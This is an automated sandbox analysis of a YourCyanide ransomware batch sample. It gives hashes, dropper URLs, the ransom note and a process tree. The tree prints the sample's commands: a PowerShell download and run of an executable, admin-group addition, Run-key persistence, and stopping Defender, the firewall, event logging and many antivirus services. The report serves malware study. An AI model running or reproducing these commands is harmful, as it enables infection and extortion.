e8266fb4c02fdf3d4b449814100c4839a52ceeeeb175f816b357cb695b4b1751

Analysis

max time kernel
150s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20220414-en
submitted
19/05/2022, 17:52

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
YourCyanide_obf.bat
Size 136KB
Sample220519-wft3jadbgj
SHA256 e8266fb4c02fdf3d4b449814100c4839a52ceeeeb175f816b357cb695b4b1751
MD5 60105b0d25a609bbf93236f003064d2c
SHA1 bf5fae15e830e6793d2b5b60af0cbb92a4098663
SHA512 b6d4259a2e1eca153d39299d1cfa16b2f1b07eead78b1afc8b4ebd6af17805c6d1112c6ed82e362430b7d6bf180822a3c44e819593da724706499e4c04b7d89c
MD5 SHA1 SHA512

Score

10^/10

evasion persistence ransomware

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://cdn.discordapp.com/attachments/974798125011198003/976894591552860220/NoKeyB.exe

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://cdn.discordapp.com/attachments/971160786015772724/971191444410875914/GetToken.exe

Extracted

Path

C:\Users\Admin\Desktop\YcynNote.txt

Ransom Note

Q: What happened to my files? A: Oops your files have been encrypted by YourCyanide. Q: how can I get them back? A: You can get them back by paying $500 in bitcoin to this btc wallet bc1qrl532s9r2qge8d8p7qlrq57dc4uhssqjexmlwf. Q: What happens if I dont pay? A: You will never get your files back. A: contact at [email protected]. ++++++++++++++++++++++++++++++++++++++++++++ 26647 Files have been encrypted

Emails

[email protected]

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 1 IoCs

flow	pid	Process
7	1512	powershell.exe

Disables Task Manager via registry modification
evasion
Downloads MZ/PE file

Executes dropped EXE 2 IoCs

pid	Process
3412	NoKeyB.exe
4244	Process not Found

Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\Control Panel\International\Geo\Nation	cmd.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\rundll32_31474_toolbar = "C:\\Users\\Admin\\AppData\\Local\\Temp\\YourCyanide_obf.bat"	reg.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File created	C:\Windows\Confession.bat	cmd.exe
File opened for modification	C:\Windows\Confession.bat	cmd.exe
File opened for modification	C:\Windows\win.ini	cmd.exe
File opened for modification	C:\Windows\system.ini	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery

T1057

pid	Process
1412	tasklist.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command-Line Interface

T1059

pid	Process
1296	ipconfig.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
5068	systeminfo.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
4516	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings	cmd.exe

NTFS ADS 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\%etozn:~1	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Local\Temp\%tmDUu:~17	cmd.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
748	NOTEPAD.EXE

Runs net.exe

Suspicious behavior: EnumeratesProcesses 27 IoCs

pid	Process
1408	powershell.exe
1408	powershell.exe
1408	powershell.exe
1512	powershell.exe
1512	powershell.exe
2320	powershell.exe
2320	powershell.exe
4856	powershell.exe
4856	powershell.exe
2136	scrnsave.scr
2136	scrnsave.scr
2340	netsh.exe
2340	netsh.exe
2320	netsh.exe
2136	scrnsave.scr
4856	powershell.exe
2320	netsh.exe
2340	netsh.exe
4856	powershell.exe
2136	scrnsave.scr
2340	netsh.exe
3708	scrnsave.scr
3708	scrnsave.scr
3708	scrnsave.scr
3604	Process not Found
3604	Process not Found
3604	Process not Found

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	1408	powershell.exe
Token: SeDebugPrivilege	1512	powershell.exe
Token: SeDebugPrivilege	4516	taskkill.exe
Token: SeDebugPrivilege	2320	powershell.exe
Token: SeDebugPrivilege	4856	powershell.exe
Token: SeDebugPrivilege	2136	scrnsave.scr
Token: SeDebugPrivilege	2340	netsh.exe
Token: SeDebugPrivilege	3708	scrnsave.scr
Token: SeDebugPrivilege	3604	Process not Found

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3412	NoKeyB.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
3412	NoKeyB.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3412	NoKeyB.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1496 wrote to memory of 1548	1496	cmd.exe	82
PID 1496 wrote to memory of 1548	1496	cmd.exe	82
PID 1496 wrote to memory of 1408	1496	cmd.exe	83
PID 1496 wrote to memory of 1408	1496	cmd.exe	83
PID 1496 wrote to memory of 1760	1496	cmd.exe	84
PID 1496 wrote to memory of 1760	1496	cmd.exe	84
PID 1760 wrote to memory of 4476	1760	net.exe	85
PID 1760 wrote to memory of 4476	1760	net.exe	85
PID 1496 wrote to memory of 1956	1496	cmd.exe	86
PID 1496 wrote to memory of 1956	1496	cmd.exe	86
PID 1496 wrote to memory of 2184	1496	cmd.exe	87
PID 1496 wrote to memory of 2184	1496	cmd.exe	87
PID 1496 wrote to memory of 2556	1496	cmd.exe	88
PID 1496 wrote to memory of 2556	1496	cmd.exe	88
PID 1496 wrote to memory of 1512	1496	cmd.exe	89
PID 1496 wrote to memory of 1512	1496	cmd.exe	89
PID 1496 wrote to memory of 3412	1496	cmd.exe	90
PID 1496 wrote to memory of 3412	1496	cmd.exe	90
PID 1496 wrote to memory of 3088	1496	cmd.exe	91
PID 1496 wrote to memory of 3088	1496	cmd.exe	91
PID 3088 wrote to memory of 4532	3088	net.exe	92
PID 3088 wrote to memory of 4532	3088	net.exe	92
PID 1496 wrote to memory of 3888	1496	cmd.exe	93
PID 1496 wrote to memory of 3888	1496	cmd.exe	93
PID 3888 wrote to memory of 3488	3888	net.exe	94
PID 3888 wrote to memory of 3488	3888	net.exe	94
PID 1496 wrote to memory of 4516	1496	cmd.exe	95
PID 1496 wrote to memory of 4516	1496	cmd.exe	95
PID 1496 wrote to memory of 4196	1496	cmd.exe	96
PID 1496 wrote to memory of 4196	1496	cmd.exe	96
PID 4196 wrote to memory of 2300	4196	net.exe	97
PID 4196 wrote to memory of 2300	4196	net.exe	97
PID 1496 wrote to memory of 2304	1496	cmd.exe	98
PID 1496 wrote to memory of 2304	1496	cmd.exe	98
PID 2304 wrote to memory of 4864	2304	net.exe	99
PID 2304 wrote to memory of 4864	2304	net.exe	99
PID 1496 wrote to memory of 4788	1496	cmd.exe	100
PID 1496 wrote to memory of 4788	1496	cmd.exe	100
PID 1496 wrote to memory of 1768	1496	cmd.exe	101
PID 1496 wrote to memory of 1768	1496	cmd.exe	101
PID 1768 wrote to memory of 1296	1768	net.exe	102
PID 1768 wrote to memory of 1296	1768	net.exe	102
PID 1496 wrote to memory of 3584	1496	cmd.exe	103
PID 1496 wrote to memory of 3584	1496	cmd.exe	103
PID 3584 wrote to memory of 2392	3584	net.exe	104
PID 3584 wrote to memory of 2392	3584	net.exe	104
PID 1496 wrote to memory of 4972	1496	cmd.exe	105
PID 1496 wrote to memory of 4972	1496	cmd.exe	105
PID 4972 wrote to memory of 2324	4972	net.exe	106
PID 4972 wrote to memory of 2324	4972	net.exe	106
PID 1496 wrote to memory of 4540	1496	cmd.exe	107
PID 1496 wrote to memory of 4540	1496	cmd.exe	107
PID 4540 wrote to memory of 4876	4540	net.exe	108
PID 4540 wrote to memory of 4876	4540	net.exe	108
PID 1496 wrote to memory of 220	1496	cmd.exe	109
PID 1496 wrote to memory of 220	1496	cmd.exe	109
PID 220 wrote to memory of 100	220	net.exe	110
PID 220 wrote to memory of 100	220	net.exe	110
PID 1496 wrote to memory of 1732	1496	cmd.exe	111
PID 1496 wrote to memory of 1732	1496	cmd.exe	111
PID 1732 wrote to memory of 4256	1732	net.exe	112
PID 1732 wrote to memory of 4256	1732	net.exe	112
PID 1496 wrote to memory of 1412	1496	cmd.exe	113
PID 1496 wrote to memory of 1412	1496	cmd.exe	113

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\YourCyanide_obf.bat"
1⤵
- Checks computer location settings
- Drops file in Windows directory
- Modifies registry class
- NTFS ADS
- Suspicious use of WriteProcessMemory
PID:1496
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\HideyHidey.vbs"
  2⤵
  PID:1548
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Set-ExecutionPolicy Unrestricted"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1408
- C:\Windows\system32\net.exe
  net localgroup administrators session /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1760
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup administrators session /ADD
    3⤵
    PID:4476
- C:\Windows\system32\reg.exe
  reg add "hklm\Software\Microsoft\Windows\CurrentVersion\Run" /v "rundll32_31474_toolbar" /t "REG_SZ" /d C:\Users\Admin\AppData\Local\Temp\YourCyanide_obf.bat /f
  2⤵
  - Adds Run key to start application
  PID:1956
- C:\Windows\system32\reg.exe
  reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_SZ /d 1 /f
  2⤵
  PID:2184
- C:\Windows\system32\rundll32.exe
  RUNDLL32 USER32.DLL SwapMouseButton
  2⤵
  PID:2556
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(New-Object Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/974798125011198003/976894591552860220/NoKeyB.exe', 'NoKeyB.exe')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1512
- C:\Users\Admin\Documents\NoKeyB.exe
  NoKeyB.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  PID:3412
- C:\Windows\system32\net.exe
  net stop "wuauserv"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3088
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "wuauserv"
    3⤵
    PID:4532
- C:\Windows\system32\net.exe
  net stop "WinDefend"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3888
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "WinDefend"
    3⤵
    PID:3488
- C:\Windows\system32\taskkill.exe
  taskkill /f /t /im "MSASCui.exe"
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4516
- C:\Windows\system32\net.exe
  net stop "security center"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4196
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "security center"
    3⤵
    PID:2300
- C:\Windows\system32\net.exe
  net stop sharedaccess
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2304
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop sharedaccess
    3⤵
    PID:4864
- C:\Windows\system32\netsh.exe
  netsh firewall set opmode mode-disable
  2⤵
  PID:4788
- C:\Windows\system32\net.exe
  net stop "Security Center" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1768
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "Security Center" /y
    3⤵
    PID:1296
- C:\Windows\system32\net.exe
  net stop "Automatic Updates" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3584
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "Automatic Updates" /y
    3⤵
    PID:2392
- C:\Windows\system32\net.exe
  net stop "Symantec Core LC" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4972
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "Symantec Core LC" /y
    3⤵
    PID:2324
- C:\Windows\system32\net.exe
  net stop "SAVScan" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4540
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "SAVScan" /y
    3⤵
    PID:4876
- C:\Windows\system32\net.exe
  net stop "norton AntiVirus Firewall Monitor Service" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:220
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "norton AntiVirus Firewall Monitor Service" /y
    3⤵
    PID:100
- C:\Windows\system32\net.exe
  net stop "norton AntiVirus Auto-Protect Service" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1732
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "norton AntiVirus Auto-Protect Service" /y
    3⤵
    PID:4256
- C:\Windows\system32\net.exe
  net stop "norton AntiVirus Auto Protect Service" /y
  2⤵
  PID:1412
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "norton AntiVirus Auto Protect Service" /y
    3⤵
    PID:5032
- C:\Windows\system32\net.exe
  net stop "McAfee Spamkiller Server" /y
  2⤵
  PID:4812
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "McAfee Spamkiller Server" /y
    3⤵
    PID:2896
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup administrators session /ADD
    3⤵
    PID:1592
- C:\Windows\system32\net.exe
  net stop "McAfee Personal Firewall Service" /y
  2⤵
  PID:2816
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "McAfee Personal Firewall Service" /y
    3⤵
    PID:1728
- C:\Windows\system32\net.exe
  net stop "McAfee SecurityCenter Update Manager" /y
  2⤵
  PID:3316
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "McAfee SecurityCenter Update Manager" /y
    3⤵
    PID:3664
- C:\Windows\system32\net.exe
  net stop "Symantec SPBBCSvc" /y
  2⤵
  PID:1212
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "Symantec SPBBCSvc" /y
    3⤵
    PID:2652
- C:\Windows\system32\net.exe
  net stop "Ahnlab Task Scheduler" /y
  2⤵
  PID:1316
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "Ahnlab Task Scheduler" /y
    3⤵
    PID:3372
- C:\Windows\system32\net.exe
  net stop navapsvc /y
  2⤵
  PID:1988
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop navapsvc /y
    3⤵
    PID:1404
- C:\Windows\system32\net.exe
  net stop "Sygate Personal Firewall Pro" /y
  2⤵
  PID:3784
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "Sygate Personal Firewall Pro" /y
    3⤵
    PID:3344
- C:\Windows\system32\net.exe
  net stop vrmonsvc /y
  2⤵
  PID:1856
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop vrmonsvc /y
    3⤵
    PID:3256
- C:\Windows\system32\net.exe
  net stop MonSvcNT /y
  2⤵
  PID:3996
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MonSvcNT /y
    3⤵
    PID:1880
- C:\Windows\system32\net.exe
  net stop SAVScan /y
  2⤵
  PID:4092
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SAVScan /y
    3⤵
    PID:2908
- C:\Windows\system32\net.exe
  net stop NProtectService /y
  2⤵
  PID:4012
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop NProtectService /y
    3⤵
    PID:3716
- C:\Windows\system32\net.exe
  net stop ccSetMGR /y
  2⤵
  PID:3760
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop ccSetMGR /y
    3⤵
    PID:4908
- C:\Windows\system32\net.exe
  net stop ccEvtMGR /y
  2⤵
  PID:3976
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop ccEvtMGR /y
    3⤵
    PID:3812
- C:\Windows\system32\net.exe
  net stop srservice /y
  2⤵
  PID:820
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice /y
    3⤵
    PID:616
- C:\Windows\system32\net.exe
  net stop "Symantec Network Drivers Service" /y
  2⤵
  PID:2364
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "Symantec Network Drivers Service" /y
    3⤵
    PID:2768
- C:\Windows\system32\net.exe
  net stop "norton Unerase Protection" /y
  2⤵
  PID:3676
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "norton Unerase Protection" /y
    3⤵
    PID:2244
- C:\Windows\system32\net.exe
  net stop MskService /y
  2⤵
  PID:3688
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MskService /y
    3⤵
    PID:524
- C:\Windows\system32\net.exe
  net stop MpfService /y
  2⤵
  PID:2108
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MpfService /y
    3⤵
    PID:3200
- C:\Windows\system32\net.exe
  net stop mcupdmgr.exe /y
  2⤵
  PID:3120
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop mcupdmgr.exe /y
    3⤵
    PID:3272
- C:\Windows\system32\net.exe
  net stop "McAfeeAntiSpyware" /y
  2⤵
  PID:1516
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "McAfeeAntiSpyware" /y
    3⤵
    PID:3288
- C:\Windows\system32\net.exe
  net stop helpsvc /y
  2⤵
  PID:3404
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop helpsvc /y
    3⤵
    PID:3224
- C:\Windows\system32\net.exe
  net stop ERSvc /y
  2⤵
  PID:1408
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop ERSvc /y
    3⤵
    PID:4728
- C:\Windows\system32\net.exe
  net stop "*norton*" /y
  2⤵
  PID:1712
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "*norton*" /y
    3⤵
    PID:1968
- C:\Windows\system32\net.exe
  net stop "*Symantec*" /y
  2⤵
  PID:2404
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "*Symantec*" /y
    3⤵
    PID:2416
- C:\Windows\system32\net.exe
  net stop "*McAfee*" /y
  2⤵
  PID:2556
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "*McAfee*" /y
    3⤵
    PID:2356
- C:\Windows\system32\net.exe
  net stop ccPwdSvc /y
  2⤵
  PID:4952
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop ccPwdSvc /y
    3⤵
    PID:5060
- C:\Windows\system32\net.exe
  net stop "Symantec Core LC" /y
  2⤵
  PID:2708
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "Symantec Core LC" /y
    3⤵
    PID:2700
- C:\Windows\system32\net.exe
  net stop navapsvc /y
  2⤵
  PID:2740
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop navapsvc /y
    3⤵
    PID:1484
- C:\Windows\system32\net.exe
  net stop "Serv-U" /y
  2⤵
  PID:4548
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "Serv-U" /y
    3⤵
    PID:1312
- C:\Windows\system32\net.exe
  net stop "norton AntiVirus Auto Protect Service" /y
  2⤵
  PID:4552
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "norton AntiVirus Auto Protect Service" /y
    3⤵
    PID:4428
- C:\Windows\system32\net.exe
  net stop "norton AntiVirus Client" /y
  2⤵
  PID:4480
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "norton AntiVirus Client" /y
    3⤵
    PID:4504
- C:\Windows\system32\net.exe
  net stop "Symantec AntiVirus Client" /y
  2⤵
  PID:4440
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "Symantec AntiVirus Client" /y
    3⤵
    PID:2040
- C:\Windows\system32\net.exe
  net stop "norton AntiVirus Server" /y
  2⤵
  PID:1656
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "norton AntiVirus Server" /y
    3⤵
    PID:2300
- C:\Windows\system32\net.exe
  net stop "NAV Alert" /y
  2⤵
  PID:4804
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "NAV Alert" /y
    3⤵
    PID:4568
- C:\Windows\system32\net.exe
  net stop "Nav Auto-Protect" /y
  2⤵
  PID:3204
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "Nav Auto-Protect" /y
    3⤵
    PID:4696
- C:\Windows\system32\net.exe
  net stop "McShield" /y
  2⤵
  PID:528
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "McShield" /y
    3⤵
    PID:2536
- C:\Windows\system32\net.exe
  net stop "DefWatch" /y
  2⤵
  PID:1768
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "DefWatch" /y
    3⤵
    PID:2136
- C:\Windows\system32\net.exe
  net stop eventlog /y
  2⤵
  PID:5044
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop eventlog /y
    3⤵
    PID:2664
- C:\Windows\system32\net.exe
  net stop InoRPC /y
  2⤵
  PID:4788
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop InoRPC /y
    3⤵
    PID:4244
- C:\Windows\system32\net.exe
  net stop InoRT /y
  2⤵
  PID:5088
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop InoRT /y
    3⤵
    PID:5056
- C:\Windows\system32\net.exe
  net stop InoTask /y
  2⤵
  PID:204
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop InoTask /y
    3⤵
    PID:220
- C:\Windows\system32\net.exe
  net stop "norton AntiVirus Auto Protect Service" /y
  2⤵
  PID:3956
- C:\Windows\system32\net.exe
  net stop "norton AntiVirus Client" /y
  2⤵
  PID:1264
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "norton AntiVirus Client" /y
    3⤵
    PID:5032
- C:\Windows\system32\net.exe
  net stop "norton AntiVirus Corporate Edition" /y
  2⤵
  PID:1412
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "norton AntiVirus Corporate Edition" /y
    3⤵
    PID:968
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup administrators session /ADD
    3⤵
    PID:3532
- C:\Windows\system32\net.exe
  net stop "ViRobot Professional Monitoring" /y
  2⤵
  PID:1704
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "ViRobot Professional Monitoring" /y
    3⤵
    PID:3852
- C:\Windows\system32\net.exe
  net stop "PC-cillin Personal Firewall" /y
  2⤵
  PID:4580
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "PC-cillin Personal Firewall" /y
    3⤵
    PID:3504
- C:\Windows\system32\net.exe
  net stop "Trend Micro Proxy Service" /y
  2⤵
  PID:5016
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "Trend Micro Proxy Service" /y
    3⤵
    PID:4288
- C:\Windows\system32\net.exe
  net stop "Trend NT Realtime Service" /y
  2⤵
  PID:3836
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "Trend NT Realtime Service" /y
    3⤵
    PID:2652
- C:\Windows\system32\net.exe
  net stop "McAfee.com McShield" /y
  2⤵
  PID:1212
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "McAfee.com McShield" /y
    3⤵
    PID:3012
- C:\Windows\system32\net.exe
  net stop "McAfee.com VirusScan Online Realtime Engine" /y
  2⤵
  PID:4892
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "McAfee.com VirusScan Online Realtime Engine" /y
    3⤵
    PID:3668
- C:\Windows\system32\net.exe
  net stop "SyGateService" /y
  2⤵
  PID:1960
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "SyGateService" /y
    3⤵
    PID:1992
- C:\Windows\system32\net.exe
  net stop "Sygate Personal Firewall Pro" /y
  2⤵
  PID:3884
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "Sygate Personal Firewall Pro" /y
    3⤵
    PID:3784
- C:\Windows\system32\net.exe
  net stop "Sophos Anti-Virus" /y
  2⤵
  PID:3100
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "Sophos Anti-Virus" /y
    3⤵
    PID:3104
- C:\Windows\system32\net.exe
  net stop "Sophos Anti-Virus Network" /y
  2⤵
  PID:3256
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "Sophos Anti-Virus Network" /y
    3⤵
    PID:2004
- C:\Windows\system32\net.exe
  net stop "eTrust Antivirus Job Server" /y
  2⤵
  PID:1820
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "eTrust Antivirus Job Server" /y
    3⤵
    PID:2308
- C:\Windows\system32\net.exe
  net stop "eTrust Antivirus Realtime Server" /y
  2⤵
  PID:3708
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "eTrust Antivirus Realtime Server" /y
    3⤵
    PID:2348
- C:\Windows\system32\net.exe
  net stop "Sygate Personal Firewall Pro" /y
  2⤵
  PID:3640
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "Sygate Personal Firewall Pro" /y
    3⤵
    PID:2012
- C:\Windows\system32\net.exe
  net stop "eTrust Antivirus RPC Server" /y
  2⤵
  PID:3400
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "eTrust Antivirus RPC Server" /y
    3⤵
    PID:3716
- C:\Windows\system32\net.exe
  net stop netsvcs
  2⤵
  PID:4012
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop netsvcs
    3⤵
    PID:4900
- C:\Windows\system32\net.exe
  net stop spoolnt
  2⤵
  PID:4904
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop spoolnt
    3⤵
    PID:748
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K 2b2crypt.cmd
  2⤵
  PID:3704
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K 2b2crypt.m.cmd
  2⤵
  PID:2008
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K black.bat
  2⤵
  PID:1944
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1408
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2184
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4496
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:5072
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2896
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3232
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4092
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:728
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:5108
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2136
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2904
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3168
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4836
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:5056
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4872
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3340
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3316
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2188
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1752
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3092
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4180
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3340
